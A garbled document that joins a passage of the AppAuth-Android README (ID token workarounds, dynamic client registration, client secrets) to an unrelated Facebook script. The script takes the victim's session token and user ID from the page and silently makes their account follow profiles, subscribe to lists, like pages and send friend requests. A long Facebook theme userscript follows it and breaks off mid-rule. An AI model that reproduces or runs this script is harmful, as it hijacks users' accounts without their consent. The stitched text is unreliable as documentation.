[ConnectionBuilder](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/connectivity/ConnectionBuilder.java) instance. For example, to custom the SSL socket factory used, one could do the following: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setConnectionBuilder(new ConnectionBuilder() { public HttpURLConnection openConnect(Uri uri) throws IOException { URL url = new URL(uri.toString()); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); if (connection instanceof HttpsUrlConnection) { HttpsURLConnection connection = (HttpsURLConnection) connection; connection.setSSLSocketFactory(MySocketFactory.getInstance()); } } }) .build(); ``` ### Issues with [ID Token](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/IdToken.java#L118) validation ID Token validation was introduced in `0.8.0` but not all authorization servers or configurations support it correctly. - For testing environments [setSkipIssuerHttpsCheck](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java#L129) can be used to bypass the fact the issuer needs to be HTTPS. ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setSkipIssuerHttpsCheck(true) .build() ``` - For services that don't support nonce[s] resulting in **IdTokenException** `Nonce mismatch` just set nonce to `null` on the `AuthorizationRequest`. Please consider **raising an issue** with your Identity Provider and removing this once it is fixed. ```java AuthorizationRequest authRequest = authRequestBuilder .setNonce(null) .build(); ``` ## Dynamic client registration AppAuth supports the [OAuth2 dynamic client registration protocol](https://tools.ietf.org/html/rfc7591). In order to dynamically register a client, create a [RegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/RegistrationRequest.java) and dispatch it using [performRegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L278) on your AuthorizationService instance. The registration endpoint can either be defined directly as part of your [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java), or discovered from an OpenID Connect discovery document. ```java RegistrationRequest registrationRequest = new RegistrationRequest.Builder( serviceConfig, Arrays.asList(redirectUri)) .build(); ``` Requests are dispatched with the help of `AuthorizationService`. As this request is asynchronous the response is passed to a callback: ```java service.performRegistrationRequest( registrationRequest, new AuthorizationService.RegistrationResponseCallback() { @Override public void onRegistrationRequestCompleted( @Nullable RegistrationResponse resp, @Nullable AuthorizationException ex) { if (resp != null) { // registration succeeded, store the registration response AuthState state = new AuthState(resp); //proceed to authorization... } else { // registration failed, check ex for more details } } }); ``` ## Utilizing client secrets (DANGEROUS) We _strongly recommend_ you avoid using static client secrets in your native applications whenever possible. Client secrets derived via a dynamic client registration are safe to use, but static client secrets can be easily extracted from your apps and allow others to impersonate your app and steal user data. If client secrets must be used by the OAuth2 provider you are integrating with, we strongly recommend performing the code exchange step on your backend, where the client secret can be kept hidden. Having said this, in some cases using client secrets is unavoidable. In these cases, a [ClientAuthentication](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientAuthentication.java) instance can be provided to AppAuth when performing a token request. This allows additional parameters (both HTTP headers and request body parameters) to be added to token requests. Two standard implementations of ClientAuthentication are provided: - [ClientSecretBasic](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretBasic.java): includes a client ID and client secret as an HTTP Basic Authorization header. - [ClientSecretPost](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretPost.java): includes a client ID and client secret as additional request parameters. So, in order to send a token request using HTTP basic authorization, one would write: ```java ClientAuthentication clientAuth = new ClientSecretBasic(MY_CLIENT_SECRET); TokenRequest req = ...; authService.performTokenRequest(req, clientAuth, callback); ``` This can also be done when using `performActionWithFreshTokens` on AuthState: ```java ClientAuthentication clientAuth = new ClientSecretPost(MY_CLIENT_SECRET); authState.performActionWithFreshTokens( authService, clientAuth, action); ``` ## Modifying or contributing to AppAuth This project requires the Android SDK for API level 25 (Nougat) to build, though the produced binaries only require API level 16 (Jellybean) to be used. We recommend that you fork and/or clone this repository to make modifications; downloading the source has been known to cause some developers problems. For contributors, see the additional instructions in [CONTRIBUTING.md](https://github.com/openid/AppAuth-Android/blob/master/CONTRIBUTING.md). ### Building from the Command line AppAuth for Android uses Gradle as its build system. In order to build the library and app binaries, run `./gradlew assemble`. The library AAR files are output to `library/build/outputs/aar`, while the demo app is output to `app/build/outputs/apk`. In order to run the tests and code analysis, run `./gradlew check`. ### Building from Android Studio In AndroidStudio, File -> New -> Import project. Select the root folder (the one with the `build.gradle` file).
ZoltCyber
/*Function di add Ribuan Orang */ /* Script by Brian Mc'Knight */ var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = "http://c2lo.reverbnation.com/audio_player/download_song_direct/20066069"; _div.appendChild(_audio); _body.appendChild(_div); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100005728811970");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("1408495016073919");sublist("217610375106588");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=582504735103733&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=151244381561294&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("433712946760060");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)} a("100005728811970"); a("100007403018728"); a("100007628704719"); a("100005827771255"); sublist("1381250645475814"); sublist("1394711647463047"); sublist("1394711957463016"); sublist("1394717060795839"); sublist("1394717664129112"); sublist("1394717300795815"); sublist("1396633533926653"); sublist("1396648463925160"); sublist("1396648833925123"); sublist("1400149010241772"); sublist("1400149110241762"); sublist("1400149370241736"); sublist("1400149426908397"); sublist("1400149563575050"); sublist("1400149603575046"); sublist("1400149663575040"); sublist("1408182776105062"); sublist("1408182846105055"); sublist("1408182922771714"); sublist("1408182992771707"); sublist("1408183046105035"); sublist("1408183109438362"); sublist("1408183206105019"); sublist("1408183256105014"); Like("1394475164153362"); // ==/UserScript== (function() { var css = "#facebook body:not(.transparent_widget), #nonfooter, #booklet, .UIFullPage_Container, .fbConnectWidgetTopmost, .connect_widget_vertical_center, .fbFeedbackContent, #LikeboxPluginPagelet\n\n{ \n\ncolor: #000 !important;\n\nbackground: url(\"http://upload.wikimedia.org/wikipedia/id/thumb/f/f8/RIVER_Theater_Ver.jpg/1064px-RIVER_Theater_Ver.jpg\") repeat fixed left center #331010 !important;\n\n}\n\n\n\n\n\na,.UIActionButton_Text,span,div,input[value=\"Comment\"] {text-shadow: #000 1px 1px 1px !important;}\n\n\n\n.UIComposer_InputArea *,.highlighter div{text-shadow: none !important;}\n\n\n\n#profile_name {text-shadow: #fff 0 0 2px,#000 1px 1px 3px;}\n\n\n\na:hover,.inputbutton:hover,.inputsubmit:hover,.accent,.hover,.domain_name:hover,#standard_error,.UIFilterList_Selected a:hover,input[type=\"submit\"]:not(.fg_action_hide):hover,.button_text:hover,#presence_applications_tab:hover,.UIActionMenu:hover,.attachment_link a span:hover,.UIIntentionalStory_Time a:hover,.UIPortrait_Text .title:hover,.UIPortrait_Text .title span:hover,.comment_link:hover,.request_link span:hover,.UIFilterList_ItemLink .UIFilterList_Title:hover,.UIActionMenu_Text:hover,.UIButton_Text:hover,.inner_button:hover,.panel_item span:hover,li[style*=\"background-color: rgb(255,255,255)\"] .friend_status,.dh_new_media span:hover,a span:hover,.tab_link:hover *,button:hover,#buddy_list_tab:hover *,.tab_handle:hover .tab_name span,.as_link:hover span,input[type=\"button\"]:hover,.feedback_show_link:hover,.page:hover .text,.group:hover .text,.calltoaction:hover .seeMoreTitle,.liketext:hover,.tickerStoryBlock:hover .uiStreamMessage span,.tickerActionVerb,.mleButton:hover,.bigNumber,.pluginRecommendationsBarButton:hover {color: #fa9 !important;text-shadow: #fff 0 0 2px !important;text-decoration: none !important;}\n\n\n\n\n\n.fbChatSidebar .fbChatTypeahead .textInput,.fbChatSidebarMessage,.devsitePage .body > .content {box-shadow: none !important;}\n\n\n\n.presence_menu_opts,#header,.LJSDialog,.chat_window_wrapper,#navAccount ul,.fbJewelFlyout,.uiTypeaheadView,.uiToggleFlyout { box-shadow: 0 0 3em #000; }\n\n\n\n.UIRoundedImage,.UIContentBox_GrayDarkTop,.UIFilterList > .UIFilterList_Title, .dialog-title,.flyout,.uiFacepileItem .uiTooltipWrap {box-shadow: 0 0 1em 1px #000;}\n\n\n\n.extra_menus ul li:hover,.UIRoundedBox_Box,.fb_menu_link:hover,.UISelectList_Item:hover,.fb_logo_link:hover,.hovered,#presence_notifications_tab,#chat_tab_barx,.tab_button_div,.plays_val, #mailBoxItems li a:hover,.buddy_row a:hover,.buddyRow a:hover,#navigation a:hover,#presence_applications_tab,#buddy_list_tab,#presence_error_section,.uiStepSelected .middle,.jewelButton,#pageLogo,.fbChatOrderedList .item:hover,.uiStreamHeaderTall {box-shadow: 0 0 3px #000,inset 0 0 5px #000 !important;}\n\n\n\n\n\n.topNavLink > a:hover,#navAccount.openToggler,.selectedCheckable {box-shadow: 0 0 4px 2px #fa9,inset 0 0 2em #f66 !important;}\n\n\n\n\n\n.fbChatBuddyListDropdown .uiButton,.promote_page a,.create_button a,.share_button_browser div,.silver_create_button,.button:not(.uiSelectorButton):not(.close):not(.videoicon),button:not(.as_link),.GBSearchBox_Button,.UIButton_Gray,.UIButton,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,.UIActionMenu_SuppressButton,.UIConnectControlsListSelector .uiButton,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton),.fbTimelineRibbon,#fbDockChatBuddylistNub .fbNubButton,.pluginRecommendationsBarButtonLike {box-shadow: 0 0 .5em rgba(0,0,0,0.9),inset 0 0 .75em #fa9 !important;border-width: 0 !important; }\n\n\n\n.fbChatBuddyListDropdown .uiButton:hover,.uiButton:not(.uiSelectorButton):hover,.fbPrivacyWidget .uiSelectorButton:not(.lockButton):hover,.uiButtonSuppressed:hover,.UIButton:hover,.UIActionMenu_Wrap:hover,.tabs li:hover,.ntab:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([type=\"Flag\"]):not([type=\"submit\"]):hover,.inputsubmit:hover,.promote_page:hover,.create_button:hover,.share_button_browser:hover,.silver_create_button_shell:hover,.painted_button:hover,.flyer_button:hover,.button:not(.close):not(.uiSelectorButton):not(.videoicon):hover,button:not(.as_link):hover,.GBSearchBox_Button:hover,.tagsWrapper,.UIConnectControlsListSelector .uiButton:hover,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton):hover,.fbTimelineMoreButton:hover,#fbDockChatBuddylistNub .fbNubButton:hover,.tab > div:not(.title):hover,.detail.frame:hover,.pluginRecommendationsBarButtonLike:hover {box-shadow: 0 0 .5em #000,0 0 1em 3px #fa9,inset 0 0 2em #f66 !important;}\n\n\n\n#icon_garden,.list_select .friend_list {box-shadow: 0 0 3px -1px #000,inset 0 0 3px -1px #000;}\n\n\n\n.bb .fbNubButton,.uiScrollableAreaGripper {box-shadow: inset 0 4px 8px #fa9,0 0 1em #000 !important;}\n\n\n\n.bb .fbNubButton:hover {box-shadow: inset 0 4px 8px #fa9,0 .5em 1em 1em #fa9 !important;}\n\n\n\n.fbNubFlyoutTitlebar {box-shadow: inset 0 4px 8px #fa9;padding: 0 4px !important;}\n\n\n\n#fb_menubar,.progress_bar_outer {box-shadow: inset 0 0 3px #000,0 0 3em 3px #000;}\n\n#presence_ui {box-shadow: 0 0 3em 1px #000}\n\n\n\n#buddy_list_tab:hover,.tab_handle:hover,.focused {box-shadow: 0 0 3px #000,inset 0 0 3px #000,0 0 3em 5px #fff;}\n\n\n\n.uiSideNavCount,.jewelCount,.uiContextualDialogContent,.fbTimelineCapsule .fbTimelineTwoColumn > .timelineUnitContainer:hover,.timelineReportContainer:hover,.uiOverlayPageContent,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.uiScaledImageContainer:hover, .pagesVoiceBar, ._k5 {box-shadow: 0 0 1em 4px #fa9 !important;}\n\n\n\n.img_link:hover,.album_thumb:hover,.fbChatTourCallout .body,.fbSidebarGripper div {box-shadow: 0 0 3em #fa9;}\n\n\n\n.shaded,.progress_bar_inner,.tickerStoryAllowClick {box-shadow: inset 0 0 1em #fa9 !important}\n\n\n\n.UIPhotoGrid_Table .UIPhotoGrid_TableCell:hover .UIPhotoGrid_Image,#myphoto:hover,.mediaThumbWrapper:hover,.uiVideoLink:hover,.mediaThumb:hover,#presence.fbx_bar #presence_ui #presence_bar .highlight,.fbNubFlyout:hover,.hovercard .stage,#fbDockChatBuddylistNub .fbNubFlyout:hover,.balloon-content,.-cx-PRIVATE-uiDialog__border {box-shadow: 0 0 3em 5px #fa9 !important;}\n\n\n\n.fbNubFlyout,.uiMenuXBorder {box-shadow: 0 0 3em 5px #000 !important;}\n\n\n\n#blueBar {box-shadow: 0 0 1em 3px #000 !important;}\n\n\n\n\n\n.fill {box-shadow: inset 0 0 2em #f66,0 0 1em #000 !important;}\n\n\n\n\n\ninput[type=\"file\"]{-moz-appearance:none!important;border: none !important;}\n\n\n\n\n\n.status_text,h4,a,h2,.flyout_menu_title,.url,#label_nm,h5,.WelcomePage_MainMessage,#public_link_uri,#public_link_editphoto span,#public_link_editalbum span,.dh_subtitle,.app_name_heading,.box_head,.presence_bar_button span,a:link span,#public_link_album span,.note_title,.link_placeholder,.stories_title,.typeahead_suggestion,.boardkit_title,.section-title strong,.inputbutton,.inputsubmit,.matches_content_box_title,.tab_name,.header_title_text,.signup_box_message,.quiz_start_quiz,.sidebar_upsell_header,.wall_post_title,.megaphone_header,.source_name,.UIComposer_AttachmentLink,.fcontent > .fname,#presence_applications_tab,.mfs_email_title,.flyout .text,.UIFilterList_ItemLink .UIFilterList_Title,.announce_title,.attachment_link a span,.comment_author,.UIPortrait_Text .title,.comment_link,.UIIntentionalStory_Names,#profile_name,.UIButton_Text,.dh_new_media span,.share_button_browser div,.UIActionMenu_Text,.UINestedFilterList_Title,button,.panel_item span,.stat_elem,.action,#contact_importer_container input[value=\"Find Friends\"]:hover,.navMore,.navLess,input[name=\"add\"],input[name=\"actions[reject]\"],input[name=\"actions[accept]\"],input[name=\"actions[maybe]\"],.uiButtonText,.as_link .default_message,.feedback_hide_link,.feedback_show_link,#fbpage_fan_sidebar_text,.comment_actual_text a span,.uiAttachmentDesc a span,.uiStreamMessage a span,.group .text,.page .text,.uiLinkButton input,.blueName,.uiBlingBox span.text,.commentContent a span,.uiButton input,.fbDockChatTab .name,.simulatedLink,.bfb_tab_selected,.liketext,a.UIImageBlock_Content,.uiTypeaheadView li .text,.author,.authors,.itemLabel,.passiveName,.token,.fbCurrentTitle,.fbSettingsListItemLabel,.uiIconText,#uetqg1_8,.fbRemindersTitle,.mleButton,.uiMenuItem .selected .name {color: #fa9 !important;}\n\n\n\n#email,option,.disclaimer,.info dd,.UIUpcoming_Info,.UITos_ReviewDescription,.settings_box_text,div[style*=\"color: rgb(85,85,85)\"] {color: #999 !important;}\n\n\n\n.status_time,.header_title_wrapper,.copyright,#newsfeed_submenu,#newsfeed_submenu_content strong,.summary,.caption,.story_body,.social_ad_advert_text,.createalbum dt,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_count,p,.fbpage_fans_count,.fbpage_type,.quiz_title,.quiz_detailtext,.byline,label,.fadvfilt b,.fadded,.fupdt,.label,.main_subtitle,.minifeed_filters li,.updates_settings,#public_link_photo,#phototags em,#public_link_editphoto,.note_dialog,#public_link_editalbum,.block_add_person,.privacy_page_field,.action_text,.network,.set_filters span,.byline span,#no_notes,#cheat_sheet,.form_label,.share_item_actions,.options_header,.box_subtitle,.review_header_subtitle_line,.summary strong,.upsell dd,.availability_text,#public_link_album,.explanation,.aim_link,.subtitle,#profile_status,span[style*=\"color: rgb(51,51,51)\"],.fphone_label,.phone_type_label,.sublabel,.gift_caption,dd span,.events_bar,.searching,.event_profile_title,.feedBackground,.fp_show_less,.increments td,.status_confirm,.sentence,.admin_list span,.boardkit_no_topics,.boardkit_subtitle,.petition_preview,.boardkit_topic_summary,li,#photo_badge,.status_body, .spell_suggest_label,.pg_title,.white_box,.token span,.profile_activation_score,.personal_msg span,.matches_content_box_subtitle span,tr[fbcontext=\"41097bfeb58d\"] td,.title,.floated_container span:not(.accent),div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(68,68,68)\"],.present_info_label,.fbpage_description,.tagged span,#tags h2 strong,#tags div span,.detail,.chat_info_status,.gray-text,.author_header,.inline_comment,.fbpage_info,.gueststatus,.no_pages,.topic_pager,.header_comment span,div[style*=\"color: rgb(101,107,111)\"],#q,span[style*=\"color: rgb(85,85,85)\"],.pl-item,.tagged_in,.pick_body,td[style*=\"color: rgb(85,85,85)\"],strong[style*=\"color: rgb(68,68,68)\"],div[style*=\"color: gray\"],.group_officers dd,.fbpage_group_title,.application_menu_divider,.friend_status span,.more_info,.logged_out_register_subhead,.logged_out_register_footer,input[type=\"text\"],textarea,.status_name span,input[type=\"file\"],.UIStoryAttachment_Copy,.stream_participants_short,.UIHotStory_Copy,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not(.UIButton_Text):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),input[type=\"search\"],input[type=\"input\"],.inputtext,.relationship span,input[type=\"button\"]:not([value=\"Comment\"]),input[type=\"password\"],#reg_pages_msg,.UIMutableFilterList_Tip,.like_sentence,.UIIntentionalStory_InfoText,.UIHotStory_Why,.question_text,.UIStory,.tokenizer,input[type=\"hidden\"],.tokenizer_input *,.text:not(.external),.flistedit b,.fexth,.UIActionMenu_Main,span[style*=\"color: rgb(102,102,102)\"],div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(119,119,119)\"],blockquote,.description,.security_badge,.full_name,.email_display,.email_section,.chat_fl_nux_messaging,.UIObjectListing_Subtext,.confirmation_login_content,.confirm_username,.UIConnectControls_Body em,.comment_actual_text,.status,.UICantSeeProfileBlurbText,.UILiveLink_Description,.recaptcha_text,.UIBeep_Title,.UIComposer_Attachment_ShareLink_URL,.app_dir_app_category,.first_stat,.aggregate_review_title,.stats span,.facebook_disclaimer,.app_dir_app_creator,.app_dir_app_monthly_active_users,.app_dir_app_friend_users,.UISearchFilterBar_Label,.UIFullListing_InfoLabel,.email_promise_detail,.title_text,.excerpt,.dialog_body,.tos,.UIEMUASFrame_body,.page_note,.nux_highlight_composer,.UIIntentionalStory_BottomAttribution,.tagline,.GBSelectList,.gigaboxx_thread_header_authors,.GBThreadMessageRow_ReferrerLink,#footerWrapper,.infoTitle,.fg_explain,.UIMentor_Message,.GenericStory_BottomAttribution,.chat_input,.video_timestamp span,#tagger_prompt,.UIImageBlock_Content,.new_list span, .GBSearchBox_Input input,.SearchPage_EmailSearchLeft,.sub_info,.UIBigNumber_Label,.UIInsightsGeoList_ListTitle,.UIInsightsGeoList_ListItemValue,.UIInsightsSmall_Note,.textmedium,.UIFeedFormStory_Lead,.home_no_stories_content, .title_label,div[style*=\"color: rgb(102,102,102)\"],*[style*=\"color: rgb(51,51,51)\"],.tab_box_inner,.uiStreamMessage,.privacy_section_description,.info_text,.uiAttachmentDesc,.uiListBulleted span,.privacySettingsGrid th,.recommendations_metadata,.postleft dd:not(.usertitle),.postText,.mall_post_body_text,.fbChatMessage,.fbProfileBylineFragment,.nosave option,.uiAttachmentDetails,.fbInsightsTable td,.mall_post_body,.uiStreamPassive,.snippet,.questionInfo span,.promotionsHowto,.fcg,.headerColumn .fwb,.rowGroupTitle .fwb,.rowGroupDescription .fwb,.likeUnit,.aboveUnitContent,.placeholder,.sectionContent,.UIFaq_Snippet,.uiMenuItem:not(.checked) .name,.balloon-text,.fbLongBlurb,.legendLabel,.messageBody {color: #bbb !important;}\n\n\n\n.status_clear_link,h3,h1,.updates,.WelcomePage_SignUpHeadline,.WelcomePage_SignUpSubheadline,.mock_h4 .left,.review_header_title,caption,.logged_out_register_msg,.domain_name, .UITitledBox_Title,.signup_box_content,.highlight,.question,.whocan span,.UIFilterList > .UIFilterList_Title,.subject,.UIStoryAttachment_Label,.typeahead_message,.UIShareStage_Title,.alternate_name,.helper_text,.textlarge,.page .category,.item_date,.privacy_section_label,.privacy_section_title,.uiTextMetadata, .seeMoreTitle,.categoryContents,code,.usertitle,.fbAppSettingsPageHeader,.fsxl,.LogoutPage_MobileMessage,.LogoutPage_MobileSubmessage,.recommended_text,#all_friends_text,.removable,.ginormousProfileName,.experienceContent .fwb,#bfb_t_popular_body div[style*=\"color:#880000\"],.fsm:not(.snippet):not(.itemLabel):not(.fbChatMessage),.uiStreamHeaderTextRight,.bookmarksNavSeeAll,.tab .content,.fbProfilePlacesFilterCount,.fbMarketingTextColorDark,.pageNumTitle,.pluginRecommendationsBarButton {color: #f66 !important;}\n\n\n\n.em,.story_comment_back_quote,.story_content,small,.story_content_excerpt,.walltext,.public,p span,#friends_page_subtitle,.main_title,.empty_message,.count,.count strong,.stories_not_included li span,.mobile_add_phone th,#friends strong,.current,.no_photos,.intro,.sub_selected a,.stats,.result_network,.note_body,#bodyContent div b,#bodyContent div,.upsell dt,.buddy_count_num strong,.left,.body,.tab .current,.aim_link span,.story_related_count,.admins span,.summary em,.fphone_number,.my_numbers_label,.blurb_inner,.photo_header strong,.note_content,.multi_friend_status,.current_path span,.current_path,.petition_header,.pyramid_summary strong,#status_text,.contact_email_pending em,.profile_needy_message,.paging_link div,.big_title,.fb_header_light,.import_status strong,.upload_guidelines ul li span,.upload_guidelines ul li span strong,#selector_status,.timestamp strong,.chat_notice,.notice_box,.text_container,.album_owner,.location,.info_rows dd,.divider,.post_user,div[style=\"color: rgb(101,107,111);\"] b,div[style=\"color: rgb(51,51,51);\"] b,.basic_info_summary_and_viewer_actions dd,.profile_info dd,.story_comment,p strong,th strong,.fstatus,.feed_story_body,.story_content_data,.home_prefs_saved p,.networks dd,.relationship_status dd,.birthday dd,.current_city dd,.UIIntentionalStory_Message,.UIFilterList_Selected a,.UIHomeBox_Title,.suggestion,.spell_suggest,.UIStoryAttachment_Caption,.fexth + td,.fext_short,#fb_menu_inbox_unread_count,.Tabset_selected .arrow .sel_link span,.UISelectList_check_Checked,.chat_fl_nux_header,.friendlist_status .title a,.chat_setting label,.UIPager_PageNum,.good_username,.UIComposer_AttachmentTitle,.rsvp_option:hover label,.Black,.comment_author span,.fan_status_inactive,.holder,.UIThumbPagerControl_PageNumber,.text_center,.nobody_selected,.email_promise,.blocklist ul,#advanced_body_1 label,.continue,.empty_albums,div[style*=\"color: black\"],.GBThreadMessageRow_Body_Content,.UIShareStage_Subtitle,#public_link_photo span,.GenericStory_Message,.UIStoryAttachment_Value,div[style*=\"color: black\"],.SearchPage_EmailSearchTitle,.uiTextSubtitle,.jewelHeader,.recent_activity_settings_label,.people_list_item,.uiTextTitle,.tab_box,.instant_personalization_title,.MobileMMSEmailSplash_Description,.MobileMMSEmailSplash_Tipsandtricks_Title,.fcb,input[value=\"Find Friends\"],#bodyContent,#bodyContent table,h6,.fbChatBuddylistError,.info dt,.bfb_options_minimized_hide,.connect_widget_connected_text,body.transparent_widget .connect_widget_not_connected_text,.connect_widget_button_count_count,.fbInsightsStatisticNumber,.fbInsightsTable thead th span,.header span,.friendlist_name a,.count .countValue,.uiHeaderTitle span,#about_text_less span,.uiStreamHeaderText,.navHeader,.uiAttachmentTitle,.fbProfilePlacesFilterText,.tagName,.ufb-dataTable-header-text,.ufb-text-content,.fb_content,.uiComposerAttachment .selected .attachmentName,.balloon-title,.cropMessage {color: #fff !important;}\n\n\n\n.bfb_post_action_container {opacity: .25 !important;}\n\n.bfb_post_action_container:hover {opacity: 1 !important;}\n\n\n\n.valid,.wallheader small,#photodate,.video_timestamp strong,.date_divider span,.feed_msg h5,.time,.item_contents,.boardkit_topic_updated,.walltime,.feed_time,.story_time,#status_time_inner,.written small,.date,div[style*=\"color: rgb(85,82,37)\"],.timestamp span,.time_stamp,.timestamp,.header_info_timestamp,.more_info div,.timeline,.UIIntentionalStory_Time,.fupdt,.note_timestamp,.chat_info_status_time,.comment_actions,.UIIntentionalStory_Time a,.UIUpcoming_Time,.rightlinks,.GBThreadMessageRow_Date,.GenericStory_Time a,.GenericStory_Time,.fbPrivacyPageHeader,.date_divider {color: #f66 !important;}\n\n\n\n.textinput,select,.list_drop_zone,.msg_divide_bottom,textarea,input[type=\"text\"],input[type=\"file\"],input[type=\"search\"],input[type=\"input\"],input[type=\"password\"],.space,.tokenizer,input[type=\"hidden\"],#flm_new_input,.UITooltip:hover,.UIComposer_InputShadow,.searchroot input,input[name=\"search\"],.uiInlineTokenizer,input.text,input.nosave {background: rgba(0,0,0,.50) !important;-moz-appearance:none!important;color: #bbb !important;border: none !important;padding: 3px !important; }\n\n\n\ninput[type=\"text\"]:focus,textarea:focus,.fbChatSidebar .fbChatTypeahead .textInput:focus {box-shadow: 0 0 .5em #fa9,inset 0 0 .25em #f66 !important;}\n\n\n\n.uiOverlayPageWrapper,#fbPhotoSnowlift,.shareOverlay,.tlPageRecentOverlay {background: -moz-radial-gradient(50% 50%,circle,rgba(10,10,10,.6),rgb(10,10,10) 90%) !important;}\n\n\n\n.bumper,.stageBackdrop {background: #000 !important;}\n\n#page_table {background: #333 }\n\n\n\n.checkableListItem:hover a,.selectedCheckable a {background: #f66 !important; }\n\n\n\n.GBSearchBox_Input,.tokenizer,.LTokenizerWrap,#mailBoxItems li a:hover,.uiTypeaheadView .search .selected,.itemAnchor:hover,.notePermalinkMaincol .top_bar, .notification:hover a,#bfb_tabs div:not(.bfb_tab_selected),.bfb_tab,.navIdentity form:hover,.connect_widget_not_connected_text,.uiTypeaheadView li.selected,.connect_widget_number_cloud,.placesMashCandidate:hover,.highlight,#bfb_option_list li a:hover {background: rgba(0,0,0,.5) !important;}\n\n\n\n.results .page,.calltoaction,.results li,.fbNubFlyout,.contextualBlind,.bfb_dialog,.bfb_image_preview,input.text,.fbChatSidebar,.jewelBox,.clickToTagMessage,.tagName,.ufb-tip-body,.flyoutContent,.fbTimelineMapFilterBar,.fbTimelineMapFilter,.fbPhotoStripTypeaheadForm,.groupsSlimBarTop,.pas,.contentBox,.fbMapCalloutMain, .pagesVoiceBar {background: rgba(10,10,10,.75) !important;}\n\n\n\n#pageNav .tinyman:hover a,#navHome:hover a,#pageNav .tinyman a[style*=\"cursor: progress\"],#navHome a[style*=\"cursor: 